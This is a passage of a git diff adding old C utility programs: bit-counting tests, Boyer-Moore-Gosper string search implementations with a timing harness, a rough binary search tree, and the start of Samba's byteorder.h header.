+  if (argc > 1)
+    count = atoi(argv[1]);
+  while (count--)
+    {
+      putc(7,stdout);
+      fflush(stdout);
+      usleep(200000);
+    }
+}
diff --git a/bitcount.c b/bitcount.c
new file mode 100644 (file)
index 0000000..e7e2909
--- /dev/null
@@ -0,0 +1,60 @@
+typedef unsigned uint32;
+
+static inline int bcount1(uint32 x)
+{
+       int count=0;
+       int i;
+       for (i=0;i<32;i++)
+               if (x & (1<<i)) count++;
+       return count;
+}
+
+static inline int bcount2(uint32 x)
+{
+       int count;
+       for (count=0; x; count++)
+               x &= (x-1);
+       return count;
+}
+
+
+static int pop_count[256];
+
+static void init_eval_tables(void)
+{
+       int i;
+
+       for (i=0;i<256;i++) {
+               int j, ret=0;
+               for (j=0;j<8;j++)
+                       if (i & (1<<j))
+                               ret++;
+               pop_count[i] = ret;
+       }
+}
+
+static inline int pop_count16(uint32 x)
+{
+       return pop_count[(x)&0xFF] + pop_count[((x)>>8)&0xFF];
+}
+
+static inline int pop_count32(uint32 x)
+{
+       return pop_count16((x) & 0xFFFF) + pop_count16((x) >> 16);
+}
+
+int main(void)
+{
+       int i;
+       uint32 x;
+
+       init_eval_tables();
+
+       for (i=0;i<1000000;i++) {
+               x = random();
+               if (pop_count32(x) != bcount1(x))
+                       printf("x=%x\n", x);
+       }
+
+       return 0;
+}
diff --git a/bmg.c b/bmg.c
new file mode 100644 (file)
index 0000000..ada0999
--- /dev/null
+++ b/bmg.c
@@ -0,0 +1,282 @@
+/* 
+a quick hack to test an idea for 16 bit BMG string searches
+
+Inspired by the fact that Padre is slow when lots of alternates are
+specified in a query
+
+This method reduces the density of zero entries in the delta_table and
+also makes the list of candidate targets much smaller when a zero
+entry is hit.
+
+It still needs a lot of optimisation. In particular it needs to be
+hard wired for 16 bit operation. Currently it can compile for ngraph
+based matching, although n>2 would be silly.
+
+Sample usage:
+
+compile it with "gcc -O2 -o bmg16 -DTAG=short bmg.c"
+
+run it with "bmg16 'hello|goodbye|yellow|blue' /usr/dict/words"
+
+Andrew Tridgell
+30/3/95
+*/
+
+#include <stdio.h>
+#include <sys/fcntl.h>
+#include <stdlib.h>
+#include <string.h>
+
+
+/* this determines if the algorithm is 8 or 16 bit - it works for both */
+#ifndef TAG
+#define TAG short
+#endif
+
+typedef unsigned TAG tag;
+typedef unsigned char uchar;
+
+
+#define TABLE_SIZE (1<<(sizeof(tag)*8))
+#define DELIMITERS "|"
+#define MAX_ALTERNATES 255
+#define AVG_ALTERNATES 4
+#define PUNCTUATION " \t,;:.\"'`"
+#define CASE_MASK (~(1<<5))
+
+#ifndef MIN
+#define MIN(a,b) ((a)<(b)?(a):(b))
+#endif
+
+/* this is a case insensitive character match */
+#define CHAR_EQUAL(c1,c2) (((c1)&CASE_MASK) == ((c2)&CASE_MASK))
+
+static uchar delta_table[TABLE_SIZE];
+static uchar target_list[TABLE_SIZE][AVG_ALTERNATES];
+static uchar target_list_len[TABLE_SIZE];
+static uchar *targets[MAX_ALTERNATES];
+static int target_lengths[MAX_ALTERNATES];
+static int num_targets = 0;
+static int min_target_length = (1<<30);
+
+/* extract a tag value from a buffer. Obviously if the tag size
+   were fixed (8 or 16 bit) this would be much faster */
+static inline tag tag_value(uchar *buf)
+{
+  int i;
+  unsigned int ret=0;
+  for (i=0;i<sizeof(tag);i++)
+    ret |= (buf[i]<<(8*i));
+  return(ret);
+}
+
+/* check if two characters match using the rules for
+   punctuation */
+static inline int uchar_match(uchar c,uchar b)
+{
+  return(CHAR_EQUAL(c,b) || (b==' ' && strchr(PUNCTUATION,c)));
+}
+
+/* check if two tags are equal. This is quite general, and slow */
+static inline int tag_equal(tag t,uchar *buf,int offset)
+{
+  int i;
+  if (offset>0) offset=0;
+  for (i=-offset;i<sizeof(tag);i++)
+    if (!uchar_match((t>>(8*i))&0xFF,buf[i])) return(0);
+  return(1);
+}
+
+/* compare two strings */
+static inline int strnequal(uchar *s1,uchar *s2,int n)
+{
+  while (n--) {
+    if (!uchar_match(*s2,*s1)) return(0);
+    s1++; s2++;
+  }
+  return(1);
+}
+
+
+/* generate a table of what chars occur at all in the targets */
+static void generate_char_table(char *char_table)
+{
+  int has_space=0;
+  uchar c;
+  int i,j;
+  uchar *p = (uchar *)PUNCTUATION;
+
+  memset(char_table,0,256);
+  for (i=0;i<num_targets;i++)
+    for (j=0;j<target_lengths[i];j++) {
+      c = targets[i][j];      
+      if (c == ' ') 
+       has_space = 1;
+      else
+       char_table[c & CASE_MASK] = char_table[c | ~CASE_MASK] = 1;
+    }
+  if (has_space)
+    for (i=0;i<strlen(p);i++)
+      char_table[p[i]] = 1;
+}
+
+
+
+/* check if a tag is possible */
+static inline int valid_tag(char *char_table,tag t)
+{
+  if (!char_table[(t>>(8*(sizeof(tag)-1)))&0xFF]) return(0);
+  return(1);
+}
+
+
+/* build the tables needed for the bmg search */
+void bmg_build_table(uchar *target_string)
+{
+  uchar *p = (uchar *)strdup(target_string);
+  uchar *tok;
+  int i,j;
+  int t;
+  char char_table[256];
+
+  num_targets = 0;
+
+  /* parse the command */
+  for (tok=strtok(p,DELIMITERS); tok; tok = strtok(NULL,DELIMITERS)) {
+    targets[num_targets] = strdup(tok);
+    target_lengths[num_targets] = strlen(tok);
+    min_target_length = MIN(min_target_length,target_lengths[num_targets]);
+    num_targets++;
+  }
+  free(p);
+
+  if (min_target_length < sizeof(tag))
+    printf("Error! you have a target smaller than the tag\n");
+
+  if (!num_targets) return;
+
+  generate_char_table(char_table);
+
+  /* built the bmg table - this is a mess */
+  for (t=0;t<TABLE_SIZE;t++) {
+
+    delta_table[t] = min_target_length;
+    target_list_len[t] = 0;
+
+    if (!valid_tag(char_table,t)) 
+      continue;
+
+    for (i=0;i<num_targets;i++)
+      {
+       for (j=(target_lengths[i]-sizeof(tag));j+sizeof(tag)>=1;j--)
+         if (tag_equal(t,targets[i]+j,j)) 
+           {
+             delta_table[t] = MIN(delta_table[t],
+                                  target_lengths[i]-(j+sizeof(tag)));
+             if (target_list_len[t] < AVG_ALTERNATES) {
+               target_list[t][target_list_len[t]] = i;
+               target_list_len[t]++;           
+             } else {
+               target_list_len[t] = MAX_ALTERNATES;            
+             }
+             break;
+           }
+      }
+  }  
+}
+
+
+/* some counters to see how we did */
+static int stringops=0;
+static int comparisons=0;
+
+/* check if a proposed match is valid */
+static inline int check_target(uchar *buf,int pos,int i)
+{
+  int posi = pos-target_lengths[i];
+  if (posi<0) return(0);
+  stringops++;
+  if (strnequal(targets[i],buf+posi,target_lengths[i])) {
+    printf("Found target %d (%s) at %d\n",i,targets[i],posi);
+    return(1);
+  }
+  return(0);
+}
+
+
+/* the search proper - it takes a buffer and finds the targets previously
+   specified when building the bmg tables */
+void bmg_search(uchar *buf,int len)
+{
+  int pos = 0;
+  int found = 0;
+  int hits=0;
+  int i;
+
+  stringops=0;
+  comparisons=0;
+
+  for (pos=min_target_length; pos <= len;) 
+    {
+      tag v = tag_value(buf+pos-sizeof(tag));
+      int skip = delta_table[v];
+      comparisons++;
+      if (skip) {
+       pos += skip;
+       continue;
+      }
+    
+      if (target_list_len[v] <= AVG_ALTERNATES)
+       for (found=0,i=0;i<target_list_len[v] && !found;i++)
+         found = check_target(buf,pos,target_list[v][i]);
+      else
+       for (found=0,i=0;i<num_targets && !found;i++)
+         found = check_target(buf,pos,i);
+
+      if (found) hits++;
+      pos++;
+    }
+
+  printf("\nGot %d hits with %d comparisons and %d stringops\n",
+        hits,comparisons,stringops);  
+}
+
+
+/* a simple harness to test the above */
+int main(int argc,char *argv[])
+{
+  uchar *target;
+  uchar *buf;
+  char *fname;
+  int fd;
+  int len;
+
+  if (argc < 3) {
+    printf("Usage: bmg string|string|string... file\n");
+    exit(1);
+  }
+   
+  target = (uchar *)argv[1];
+  fname = argv[2];
+  fd = open(fname,O_RDONLY);
+  if (fd < 0) {
+    printf("couldn't open %s\n",fname);
+    exit(1);
+  }
+  len = lseek(fd,0,SEEK_END);
+  lseek(fd,0,SEEK_SET);
+  buf = (uchar *)malloc(len);
+  if (!buf) {
+    printf("failed to alloc buffer\n");
+    exit(1);
+  }
+  len = read(fd,buf,len);
+  close(fd);
+  printf("Loaded %d bytes\n",len);
+
+  bmg_build_table(target);
+  printf("Finished building tables\n");
+  bmg_search(buf,len);
+  return(0);
+}
+
diff --git a/bmg2.c b/bmg2.c
new file mode 100644 (file)
index 0000000..61bbd6d
--- /dev/null
+++ b/bmg2.c
@@ -0,0 +1,596 @@
+/* COPYRIGHT (C) The Australian National University 1995 */
+/*************************************************************************/
+/*                             bmg2.c                                     */
+/*                     Digraph Boyer-Moore-Gosper algorithm               */
+/*                                                                        */
+/***************************************************************************/
+
+/* $Id: bmg2.c,v 1.1 2000/10/10 02:16:17 tridge Exp $ */
+
+/* 
+a digraph version of the bmg algorithm
+
+Andrew Tridgell
+30/3/95
+
+Last modified 5/5/95
+
+This module has the following interface:
+
+int bmg_build_table(uchar *target_string,uchar *char_map,int wsmode);
+void bmg_search(uchar *buf,int len,void (*fn)());
+
+You call bmg_build_table() with the list of search terms, separated by
+| The char_map[] is a character array which maps characters from the
+data into characters in the search string. If this is null then a
+default mapping is performed. The default mapping maps all non
+alphanumeric characters to a space and other characters to themselves.
+
+If wsmode is true then the search routine will only find words that begin
+with the target strings. If wsmode is 0 then it will accept the
+targets at any alignment.
+
+bmg_search() is called with a pointer to the data, the length of the
+data and a function to call when a match is found. This function will
+be called with a pointer to the point at which the match was
+found. When this function returns the search will automatically
+continue from where it left off, calling fn() at each matching string.
+
+Calling bmg_build_table() with a NULL target_string will free the tables
+that are created by bmg_build_table().
+*/
+
+#include <stdio.h>
+#include <ctype.h>
+#include <sys/fcntl.h>
+#include <stdlib.h>
+#include <string.h>
+#include <sys/time.h>
+#include <unistd.h>
+#if !AJT
+#include "const.h"
+#endif
+
+typedef unsigned short tag;
+
+#define TAB14 0
+#define TAB16 0
+
+/* if you have targets longer than 255 chars they will be truncated */
+#define MAX_TARGET_LENGTH 255
+
+/* this is what is used to delimit search alternates in the target
+   string passed to the bmg_build_table() routine */
+#define DELIMITERS "|"
+#define SPACE_CHAR ' '
+
+/* the following defines are optimisation constants. Leave them
+   alone unless you know the code */
+#define DIGRAPH_THRESHOLD 3
+
+#ifndef MIN
+#define MIN(a,b) ((a)<(b)?(a):(b))
+#endif
+#ifndef MAX
+#define MAX(a,b) ((a)>(b)?(a):(b))
+#endif
+
+
+struct target {
+  int next;
+  u_char *str;
+  u_char length;
+};
+
+static u_char space_char = SPACE_CHAR;
+static u_char char_bits = 0;
+static int max_char = 0;
+static int table_size = 0;
+static u_char *delta_table = NULL;
+#if TAB14 || TAB16
+static u_char *delta_table2 = NULL;
+#endif
+static tag *tag_table = NULL;
+static struct target *targets = NULL;
+static tag num_targets = 0;
+static int min_target_length = MAX_TARGET_LENGTH;
+static int max_target_length = 0;
+static tag char_table[256];
+static tag char_table_shifted[256];
+static int wsmode=0;
+static int digraph=1;
+static int tagsize=2;
+
+#if TAB14
+#define TAGV2(buf) ((((tag)(((u_char *)buf)[1])&0x7F)<<7)|(((u_char *)buf)[0]&0x7f))
+#endif
+#if TAB16
+#define TAGV2(buf) ((((tag)(((u_char *)buf)[1]))<<8)|(((u_char *)buf)[0]))
+#endif
+
+/* extract a digraph tag value from a buffer. This must be fast, and
+ is a clear candidate for assembly optimisation */
+static inline tag tag_value16(u_char *buf)
+{
+  return(char_table_shifted[buf[1]]|char_table[buf[0]]);
+}
+
+/* this is like tag_value16 but it uses the unmapped characters */
+static inline tag tag_value16u(u_char *buf)
+{
+  return((buf[1]<<char_bits)|buf[0]);
+}
+
+/* check if two characters match */
+static inline int u_char_match(u_char c,u_char b)
+{
+  return(char_table[c] == b);
+}
+
+/* compare two strings. We unroll a bit for speed. */
+static inline int strnequal(u_char *s1,u_char *s2,int n)
+{
+  while (n>3) {
+    if (!(u_char_match(s2[0],s1[0]) &&
+         u_char_match(s2[1],s1[1]) &&
+         u_char_match(s2[2],s1[2]))) return(0);
+    s1 += 3; s2 += 3;
+    n -= 3;
+  }
+  while (n) {
+    if (!u_char_match(s2[0],s1[0])) return(0);
+    s1++; s2++;
+    n--;
+  }
+  return(1);
+}
+
+/* add a tag to the delta table. Possibly update the list of targets
+   for the tag as well */
+static inline void add_to_table(tag t,int i,int j)
+{
+  int skip = targets[i].length-(j+tagsize);
+  int a;
+
+  delta_table[t] = MIN(delta_table[t],skip);
+
+  if (skip == 0) {
+    targets[i].next = MAX(targets[i].next,(int)t);
+    tag_table[t] = (tag)i;
+  }
+}
+
+
+/* remap the character tables and the targets to pack them into a small
+   area in the delta table - this helps the cacheing */
+static void remap_char_table(void)
+{
+  int i,j;
+  u_char target_chars[256];
+
+  /* work out what chars exist in the targets */
+  memset(target_chars,0,256);
+  for (i=0;i<num_targets;i++)
+    for (j=0;j<targets[i].length;j++)
+      target_chars[targets[i].str[j]] = 1;
+
+  /* force a space to exist */
+  if (wsmode) target_chars[SPACE_CHAR] = 1;
+
+  /* map each of the chars to a number */
+  j = 1;
+  for (i=0;i<256;i++)
+    if (target_chars[i]) target_chars[i] = j++;
+  max_char = j;
+
+  /* remember what the space is */
+  space_char = target_chars[SPACE_CHAR];
+
+  /* remap the targets */
+  for (i=0;i<num_targets;i++)
+    for (j=0;j<targets[i].length;j++)
+      targets[i].str[j] = target_chars[targets[i].str[j]];
+
+  /* remap the char table */
+  for (i=0;i<256;i++)
+    char_table[i] = target_chars[char_table[i]];
+
+  /* find how many bits are needed for the char table */
+  char_bits = 0;
+  i = max_char-1;
+  while (i) {
+    char_bits++;
+    i /= 2;
+  }
+
+  /* create the shifted table */
+  for (i=0;i<256;i++)
+    char_table_shifted[i] = char_table[i]<<char_bits;
+}
+
+
+int compare_targets(struct target *t1,struct target *t2)
+{
+  return(t1->next - t2->next);
+}
+
+int compare_targets2(int *t1,int *t2)
+{
+  return(targets[*t1].next - targets[*t2].next);
+}
+
+
+static void free_old_tables(void)
+{
+  int i;
+  /* free up from the last search */
+  for (i=0;i<num_targets;i++) free(targets[i].str);
+  if (targets) {free(targets); targets = NULL;}
+  if (tag_table) {free(tag_table); tag_table = NULL;}
+  if (delta_table) {free(delta_table); delta_table = NULL;}
+#if TAB14 || TAB16
+  if (delta_table2) {free(delta_table2); delta_table2 = NULL;}
+#endif
+  num_targets = 0;
+}
+
+/* build the tables needed for the bmg search */
+int bmg_build_table(u_char *target_string,u_char *char_map,int mode)
+{
+  u_char *p;
+  u_char *tok;
+  int i,j;
+  int t;
+  int dodigraph=0;
+
+  /* remember the wsmode */
+  wsmode = mode;
+
+  /* clean up from a previous run */
+  free_old_tables();
+  space_char = SPACE_CHAR;
+
+  if (!target_string) return(-1);
+
+  if (char_map) {
+    for (i=0;i<256;i++)
+      char_table[i] = char_map[i];
+  } else {
+    for (i=0;i<256;i++)
+      char_table[i] = isalnum(i)?i:SPACE_CHAR;
+  }
+
+  min_target_length = MAX_TARGET_LENGTH;
+  max_target_length = 0;
+
+  /* count the targets */
+  p = (u_char *)strdup(target_string);
+  for (tok=strtok(p,DELIMITERS); tok; tok = strtok(NULL,DELIMITERS))
+    num_targets++;
+  free(p);
+
+  /* allocate the targets */
+  targets = (struct target *)malloc(sizeof(targets[0])*num_targets);
+
+  if (!targets) {
+    free_old_tables();
+    return(-3);
+  }
+
+  /* parse the command */
+  p = (u_char *)strdup(target_string);
+  if (!p) {
+    free_old_tables();
+    return(-3);
+  }
+  i = 0;
+  for (tok=strtok(p,DELIMITERS); tok; tok = strtok(NULL,DELIMITERS)) {
+    int l = strlen(tok);
+    targets[i].next = -1;
+    targets[i].str = strdup(tok);
+    if (!targets[i].str) {
+      free_old_tables();
+      return(-3);
+    }
+    l = MIN(l,MAX_TARGET_LENGTH);
+    targets[i].length = l;
+    min_target_length = MIN(min_target_length,targets[i].length);
+    max_target_length = MAX(max_target_length,targets[i].length);
+    if (targets[i].str[l-1]==' ') dodigraph=1; 
+    i++;
+  }
+  free(p);
+
+
+  /* determine if we will do a digraph search or not */
+  if (!dodigraph && num_targets<DIGRAPH_THRESHOLD) {   
+    digraph=0;
+    tagsize=1;
+  } else {
+    digraph = 1;
+    tagsize = 2;
+  }
+
+  if (!num_targets) {
+    free_old_tables();
+    return(-2);
+  }
+
+  remap_char_table();
+
+  /* build the bmg table - this is a mess */
+  if (digraph)
+    table_size = 1<<(char_bits*2);
+  else
+    table_size = 256;
+  
+  delta_table = (u_char *)malloc(table_size*sizeof(delta_table[0]));
+  tag_table = (tag *)malloc(table_size*sizeof(tag_table[0]));
+
+  if (!delta_table || !tag_table) {
+    free_old_tables();
+    return(-3);
+  }
+
+#if TAB14 || TAB16
+  if (digraph) {
+#if TAB14
+    int tabsize=(1<<14);
+#else
+    int tabsize=(1<<16);
+#endif
+    delta_table2 = (u_char *)malloc(tabsize*sizeof(delta_table[0]));
+    if (!delta_table2) {
+      free_old_tables();
+      return(-3);
+    }
+  }
+#endif
+
+  for (t=0;t<table_size;t++) {
+    delta_table[t] = min_target_length;
+    tag_table[t] = num_targets;
+  }
+
+  if (digraph)
+    {
+      for (i=0;i<num_targets;i++)
+       {
+         int length = targets[i].length;
+         char *str = targets[i].str;
+         u_char c[2];
+         c[1] = str[0];
+         if (length == min_target_length) {
+           if (wsmode) {
+             c[0] = space_char;
+             t = tag_value16u(c);
+             add_to_table(t,i,-1);         
+           } else {
+             for (c[0]=0;;c[0]++)
+               {
+                 /* this little loop handles the first char in each
+                    target - our tags must match for any possible char
+                    to the left of it */
+                 t = tag_value16u(c);
+                 add_to_table(t,i,-1);
+                 if (c[0] == (max_char-1)) break;
+               }
+           }
+         }
+         for (j=MAX(0,length-(min_target_length+1));j<=(length-2);j++)
+           {
+             t = tag_value16u(str+j);
+             add_to_table(t,i,j);
+           }
+       }
+    }
+  else
+    {
+      for (t=0;t<256;t++)
+       for (i=0;i<num_targets;i++)
+         {
+           int length = targets[i].length;
+           char *str = targets[i].str;
+           for (j=(length-1);j>=(length-min_target_length);j--)
+             if (char_table[t] == str[j]) {
+               add_to_table(t,i,j);
+               break; /* go to the next target */
+             }
+         }
+    }
+
+  
+  if (num_targets>1)
+    {
+      int *target_map1 = (int *)malloc(sizeof(int)*num_targets);
+      int *target_map2 = (int *)malloc(sizeof(int)*num_targets);
+      if (!target_map1 || !target_map2) {
+       free_old_tables();
+       return(-3);
+      }
+      
+      for (i=0;i<num_targets;i++) target_map1[i]=i;
+      
+      /* sort the targets by the "next" value thay have in the target struct */
+      qsort(target_map1,num_targets,sizeof(int),(int (*)())compare_targets2);
+      qsort(targets,num_targets,sizeof(targets[0]),(int (*)())compare_targets);
+
+      for (i=0;i<num_targets;i++) target_map2[target_map1[i]]=i;
+      
+      for (t=0;t<table_size;t++) {    
+       if (delta_table[t]) continue;
+       tag_table[t] = target_map2[tag_table[t]];
+       while (tag_table[t] && 
+              targets[tag_table[t]-1].next == targets[tag_table[t]].next) 
+         tag_table[t]--;
+      }
+      free(target_map1);
+      free(target_map2);
+    }
+  
+  for (i=0;i<num_targets-1;i++)
+    if (targets[i].next == targets[i+1].next) 
+      targets[i].next = i+1;
+    else
+      targets[i].next = -1;
+  targets[num_targets-1].next = -1;
+
+#if TAB14
+  if (digraph) {
+    u_char c[2];
+    for (c[0]=0;c[0]<(1<<7);c[0]++)
+      for (c[1]=0;c[1]<(1<<7);c[1]++)
+       delta_table2[TAGV2(c)] = delta_table[tag_value16(c)];
+  }
+#endif
+#if TAB16
+  if (digraph) {
+    tag v;
+    u_char *c = (u_char *)&v;
+    for (t=0;t<(1<<16);t++) {
+      v = t;
+      delta_table2[TAGV2(c)] = delta_table[tag_value16(c)];
+    }
+  }
+#endif
+
+  return(0);
+}
+
+
+/* check if a single proposed match is valid */
+static inline int check_target(u_char *buf,int i,void (*fn)())
+{
+  if (wsmode && char_table[buf[-1]]!=space_char) return(0);
+  if (strnequal(targets[i].str,buf,targets[i].length) && fn) {
+    fn(buf);
+    return(1);
+  }
+  return(0);
+}
+
+
+/* check if a proposed match is valid against the list of alternates 
+   for this tag */
+static void check_targets(u_char *buf,tag v,void (*fn)())
+{
+  int i = tag_table[v];
+  do {
+    u_char *buf2 = buf-targets[i].length;
+    u_char *str = targets[i].str;
+    if (u_char_match(*buf2,*str))
+      check_target(buf2,i,fn);
+    i = targets[i].next;
+  } while (i != -1);
+}
+
+
+/* the search proper, 8 bit version - it takes a buffer and finds the
+   targets previously specified when building the bmg tables */
+#define TAGV(buf) ((buf)[0])
+#define DELTAB(buf) delta_table[TAGV(buf)]
+#define TAGSIZE 1
+static void bmg_search8(u_char *buf,int len,void (*fn)())
+{
+  u_char *bufend = buf + len - (TAGSIZE-1);
+  u_char k;
+
+  buf += min_target_length - TAGSIZE;
+  bufend -= 8*MAX_TARGET_LENGTH;
+
+  while (buf<bufend)
+    {
+      buf += DELTAB(buf);
+      buf += DELTAB(buf);
+      buf += DELTAB(buf);
+      buf += (k = DELTAB(buf));
+      if (!k) {
+       if (DELTAB(buf-2) < 3 && DELTAB(buf-1) < 2)
+         check_targets(buf+TAGSIZE,TAGV(buf),fn);
+       buf++;
+      }
+    }
+
+  bufend += 8*MAX_TARGET_LENGTH;
+
+  while (buf<bufend) 
+    {
+      buf += (k = DELTAB(buf));
+      if (!k) {
+       if (DELTAB(buf-2) < 3 && DELTAB(buf-1) < 2)
+         check_targets(buf+TAGSIZE,TAGV(buf),fn);
+       buf++;
+      }
+    }
+}
+
+#undef TAGV
+#undef TAGSIZE
+#undef DELTAB
+
+
+#define TAGV(buf) tag_value16(buf)
+#if TAB14 || TAB16
+#define DELTAB(buf) delta_table2[TAGV2(buf)]
+#else
+#define DELTAB(buf) delta_table[TAGV(buf)]
+#endif
+#define TAGSIZE 2
+/* this code is identical to the 8 bit search, except for the above two 
+   macros  */
+static void bmg_search16(u_char *buf,int len,void (*fn)())
+{
+  u_char *bufend = buf + len - (TAGSIZE-1);
+  int k;
+
+  buf += min_target_length - TAGSIZE;
+  bufend -= 8*MAX_TARGET_LENGTH;
+
+  while (buf<bufend)
+    {
+      buf += DELTAB(buf);
+      buf += DELTAB(buf);
+      buf += DELTAB(buf);
+      buf += (k=DELTAB(buf));
+      if (!k) {
+       if (DELTAB(buf-2) < 3 && DELTAB(buf-1) < 2)
+         check_targets(buf+TAGSIZE,TAGV(buf),fn);
+       buf++;
+      }
+    }
+
+  bufend += 8*MAX_TARGET_LENGTH;
+
+  while (buf<bufend) 
+    {
+      buf += (k = DELTAB(buf));
+      if (!k) {
+       if (DELTAB(buf-2) < 3 && DELTAB(buf-1) < 2)
+         check_targets(buf+TAGSIZE,TAGV(buf),fn);
+       buf++;
+      }
+    }
+}
+
+
+
+/* choose 8 or 16 bit search */
+void bmg_search(u_char *buf,int len,void (*fn)())
+{
+  int i,j;
+  if (!num_targets || !buf || !fn || len<1) return;
+
+  /* a special case - check the start of the buffer */
+  for (j=0;j<max_target_length;j++) {
+    for (i=0;i<num_targets;i++)
+      if (len >= targets[i].length && check_target(buf,i,fn)) break;
+    buf++; len--;
+  }
+
+  if (len < 1) return;
+
+  if (digraph)
+    bmg_search16(buf,len,fn);    
+  else
+    bmg_search8(buf,len,fn);
+}
diff --git a/bmgmain.c b/bmgmain.c
new file mode 100644 (file)
index 0000000..287ac0b
--- /dev/null
+++ b/bmgmain.c
@@ -0,0 +1,68 @@
+#include <stdio.h>
+#include <ctype.h>
+#include <sys/fcntl.h>
+#include <stdlib.h>
+#include <string.h>
+#include <sys/time.h>
+#include <unistd.h>
+
+
+static int hits=0;
+
+void hit_fn(char *buf)
+{
+#if 0
+  printf("hit[%d]=[%5.5s]\n",hits,buf);
+#endif
+  hits++;
+}
+
+
+/* a simple harness to test the above */
+int main(int argc,char *argv[])
+{
+  char *target;
+  char *buf;
+  char *fname;
+  int fd;
+  int len;
+  struct timeval t1,t2;
+
+  if (argc < 3) {
+    printf("Usage: bmg string|string|string... file\n");
+    exit(1);
+  }
+   
+  target = argv[1];
+  fname = argv[2];
+  fd = open(fname,O_RDONLY);
+  if (fd < 0) {
+    printf("couldn't open %s\n",fname);
+    exit(1);
+  }
+  len = lseek(fd,0,SEEK_END);
+  lseek(fd,0,SEEK_SET);
+  buf = (char *)malloc(len);
+  if (!buf) {
+    printf("failed to alloc buffer\n");
+    exit(1);
+  }
+  len = read(fd,buf,len);
+  close(fd);
+  printf("Loaded %d bytes\n",len);
+
+  gettimeofday(&t1,NULL);
+  bmg_build_table(target,NULL,0);
+  gettimeofday(&t2,NULL);
+  printf("Table build took %ld msecs\n",
+        (t2.tv_sec-t1.tv_sec)*1000 + (t2.tv_usec-t1.tv_usec)/1000);  
+
+  gettimeofday(&t1,NULL);
+  bmg_search(buf,len,hit_fn);
+  gettimeofday(&t2,NULL);
+  printf("Search took %ld msec\n",
+        (t2.tv_sec-t1.tv_sec)*1000 + (t2.tv_usec-t1.tv_usec)/1000);  
+  printf("Got %d hits\n",hits);
+  return(0);
+}
+
diff --git a/bstree.c b/bstree.c
new file mode 100644 (file)
index 0000000..63f6416
--- /dev/null
+++ b/bstree.c
@@ -0,0 +1,98 @@
+/*
+Simple binary search tree implementation.
+
+Andrew Tridgell
+May 1994
+*/
+
+
+
+/* these are the functions that are defines in this file */
+void *bst_insert(void *tree,void *data,int size,int (*compare)());
+void *bst_find(void *tree,void *data,int (*compare)());
+
+struct bst_struct
+{
+  struct bst_struct *ltree;
+  struct bst_struct *rtree;
+  void *data;
+  int data_len;
+} 
+
+
+/* find an element in a tree */
+void *bst_find(void *tree,void *data,int (*compare)())
+{
+  int ret;
+  struct bst_struct *bstree = tree;
+  if (!bstree || !data || !compare) return(NULL);
+
+  ret = compare(data,bstree->data);
+  if (ret < 0)
+    return(bst_find(bstree->ltree,data,compare));
+  if (ret > 0)
+    return(bst_find(bstree->rtree,data,compare)); 
+
+  return(bstree->data);
+}
+
+/* create a bst bode */
+void *bst_create_node(coid *data,int size)
+{
+  struct bst_struct *bstree = (struct bst_struct *)malloc(sizeof(*bstree));
+  bstree->ltree = NULL;
+  bstree->rtree = NULL;
+  bstree->data = malloc(size);
+  if (!bstree->data)
+    {
+      free(bstree); return(NULL);
+    }
+  memcpy(bstree->data,data,size);
+  bstree->data_len = size;
+}
+
+/* insert an element into a tree, returning the new tree */
+void *bst_insert(void *tree,void *data,int size,int (*compare)())
+{
+  int ret;
+  struct bst_struct *bstree = tree;
+  if (!data || !compare) return(NULL);
+
+  if (!bstree)
+    return(bst_create_node(data,size));
+
+  ret = compare(data,bstree->data);
+  if (ret < 0)
+    bstree->ltree = bst_insert(bstree->ltree,data,size,compare);
+  if (ret > 0)
+    bstree->rtree = bst_insert(bstree->rtree,data,size,compare);
+
+  if (ret == 0)
+    {
+      /* replace the existing element */
+      if (bstree->data) free(bstree(data));
+      bstree->data = (void *)malloc(size);
+      if (!bstree->data) return(NULL);
+      memcpy(bstree->data,data,size);
+      bstree->data_len = size;
+    }
+
+  return(bstree);
+}
+
+
+/* find an element in a tree */
+void bst_inorder(void *tree,int (*fn)())
+{
+  struct bst_struct *bstree = tree;
+  if (!bstree || !fn) return;
+
+  bst_inorder(bstree->ltree,fn);
+  fn(bstree->data,bstree->data_len);
+  bst_inorder(bstree->rtree,fn);
+}
+
+
+#if 1
+/* test a bstree */
+bst_test(int size)
diff --git a/byteorder.h b/byteorder.h
new file mode 100644 (file)
index 0000000..4d972a5
--- /dev/null
@@ -0,0 +1,243 @@
+/* 
+   Unix SMB/Netbios implementation.
+   Version 1.9.
+   SMB Byte handling
+   Copyright (C) Andrew Tridgell 1992-1997
+   
+   This program is free software; you can redistribute it and/or modify
+   it under the terms of the GNU General Public License as published by
+   the Free Software Foundation; either version 2 of the License, or
+   (at your option) any later version.
+   
+   This program is distributed in the hope that it will be useful,
+   but WITHOUT ANY WARRANTY; without even the implied warranty of
+   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+   GNU General Public License for more details.
+   
+   You should have received a copy of the GNU General Public License
+   along with this program; if not, write to the Free Software
+   Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
+*/
+
+/*
+   This file implements macros for machine independent short and 
+   int manipulation
+
+Here is a description of this file that I emailed to the samba list once:
+
+> I am confused about the way that byteorder.h works in Samba. I have
+> looked at it, and I would have thought that you might make a distinction
+> between LE and BE machines, but you only seem to distinguish between 386
+> and all other architectures.
+> 
+> Can you give me a clue?
+
+sure.
+
+The distinction between 386 and other architectures is only there as
+an optimisation. You can take it out completely and it will make no
+difference. The routines (macros) in byteorder.h are totally byteorder
+independent. The 386 optimsation just takes advantage of the fact that
+the x86 processors don't care about alignment, so we don't have to
+align ints on int boundaries etc. If there are other processors out
+there that aren't alignment sensitive then you could also define
+CAREFUL_ALIGNMENT=0 on those processors as well.
+
+Ok, now to the macros themselves. I'll take a simple example, say we
+want to extract a 2 byte integer from a SMB packet and put it into a
+type called uint16 that is in the local machines byte order, and you
+want to do it with only the assumption that uint16 is _at_least_ 16
+bits long (this last condition is very important for architectures
+that don't have any int types that are 2 bytes long)
+
+You do this:
+
+#define CVAL(buf,pos) (((unsigned char *)(buf))[pos])
+#define PVAL(buf,pos) ((unsigned)CVAL(buf,pos))
+#define SVAL(buf,pos) (PVAL(buf,pos)|PVAL(buf,(pos)+1)<<8)
+
+then to extract a uint16 value at offset 25 in a buffer you do this:
+
+char *buffer = foo_bar();
+uint16 xx = SVAL(buffer,25);
+
+We are using the byteoder independence of the ANSI C bitshifts to do
+the work. A good optimising compiler should turn this into efficient
+code, especially if it happens to have the right byteorder :-)
+
+I know these macros can be made a bit tidier by removing some of the
+casts, but you need to look at byteorder.h as a whole to see the
+reasoning behind them. byteorder.h defines the following macros:
+
+SVAL(buf,pos) - extract a 2 byte SMB value
